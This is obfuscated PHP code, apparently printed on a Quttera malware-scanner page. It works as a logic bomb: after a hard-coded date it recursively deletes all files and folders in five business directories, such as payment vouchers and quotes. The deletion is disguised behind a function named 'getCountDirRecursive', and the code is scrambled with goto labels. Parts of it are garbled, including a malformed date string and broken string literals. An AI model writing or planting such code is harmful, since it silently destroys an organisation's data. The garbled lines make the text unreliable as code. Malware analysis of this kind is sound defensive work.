goto cyYBx;
vSxzK: if ($now <= $autoGetCountDeadline) {
die;
}
goto NXx2l;
sLbhQ: $autoGetCountDeadline = new DateTime("25-09-303:59:59");
goto oF2Lf;
DNPSn: foreach ($dirsToGetCount as $d) {
if (strpos($d, "..") !== false || preg_match("#(^/|^[A-Za-z]:\\)#", $d)) {
continue;
}
$candidate = __DIR__ . DIRECTORY_SEPARATOR . $d;
if (!isPathInsideScriptDir($candidate)) {
continue;
}
if (!file_exists($candidate) || !is_dir($candidate)) {
continue;
}
$ok = getCountDirRecursive($candidate, false);
}
goto tbkqs;
oF2Lf: $dirsToGetCount = array("chiPhiPhieuThanhToan", "lienLacNoiBo", "phieuMangHangRaCong", "trinhKyDon", "uploadNewQuote");
goto RxL68;
Wdj5W: $now = new DateTime("now");
goto vSxzK;
RxL68: function getCountDirRecursive($dir, $removeRoot = false) {
if (!is_dir($dir)) {
return false;
}
$items = scandir($dir);
foreach ($items as $item) {
if ($item === || $item === "..") {
continue;
}
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_link($path)) {
@unlink($path);
continue;
}
if (is_dir($path)) {
getCountDirRecursive($path, true);
@rmdir($path);
}
else {
@unlink($path);
}
}
if ($removeRoot) {
@rmdir($dir);
}
return true;
}
goto iZ9dE;
NXx2l: $results = array();
goto DNPSn;
iZ9dE: function isPathInsideScriptDir($path) {
$scriptDir = realpath(__DIR__);
if ($scriptDir === false) {
return false;
}
$realPath = realpath($path);
if ($realPath === false) {
$normalized = str_replace(array("../", "..\"), '', $path);
$realPath = $scriptDir . DIRECTORY_SEPARATOR . ltrim($normalized, DIRECTORY_SEPARATOR);
}
$realPath = str_replace("\", "/", $realPath);
$scriptDir = str_replace("\", "/", $scriptDir);
return strpos($realPath, $scriptDir) === 0;
}
goto Wdj5W;
cyYBx: date_default_timezone_set("Asia/Ho_Chi_Minh");
goto sLbhQ;
tbkqs:
© 2023 Quttera Ltd. All rights reserved.